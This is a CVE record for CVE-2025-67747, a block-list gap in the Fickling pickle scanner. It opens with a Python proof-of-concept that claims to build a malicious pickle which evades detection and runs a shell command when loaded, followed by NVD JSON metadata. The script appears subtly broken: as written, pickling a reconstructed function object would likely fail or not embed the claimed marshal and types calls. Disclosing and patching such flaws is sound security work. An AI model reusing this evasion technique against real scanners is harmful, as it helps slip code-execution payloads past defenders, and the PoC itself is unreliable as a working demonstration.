CVE-2025-67747

import pickle import types import marshal # Generate malicious code execution payload def malicious_code(): import os os.system('whoami > /tmp/pwned.txt') # Serialize the malicious function malicious_bytecode = marshal.dumps(malicious_code.__code__) # Create a pickle payload using FunctionType and marshal.loads # This bypasses Fickling's security checks payload = pickle.dumps({ 'func': types.FunctionType( marshal.loads(malicious_bytecode), globals() ) }) # Write the malicious pickle file with open('malicious.pkl', 'wb') as f: f.write(payload) print('[+] Malicious pickle file created: malicious.pkl') print('[+] This file bypasses Fickling < 0.1.6 detection') # To demonstrate the exploitation print('[*] Simulating victim deserialization...') data = pickle.loads(payload) data['func']()

{"cve": {"id": "CVE-2025-67747", "sourceIdentifier": "[email protected]", "published": "2025-12-16T01:15:52.803", "lastModified": "2026-01-02T15:59:59.143", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fickling is a Python pickling decompiler and static analyzer. Versions prior to 0.1.6 are missing `marshal` and `types` from the block list of unsafe module imports. Fickling started blocking both modules to address this issue. This allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for `types.FunctionType` and `marshal.loads`. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues. The issue was fixed in version 0.1.6."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}, {"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:trailofbits:fickling:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.1.6", "matchCriteriaId": "D557CCB3-8AC7-4BA6-BE40-5B51A216F56B"}]}]}], "references": [{"url": "https://github.com/trailofbits/fickling/commit/4e34561301bda1450268d1d7b0b2b151de33b913", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/trailofbits/fickling/pull/186", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}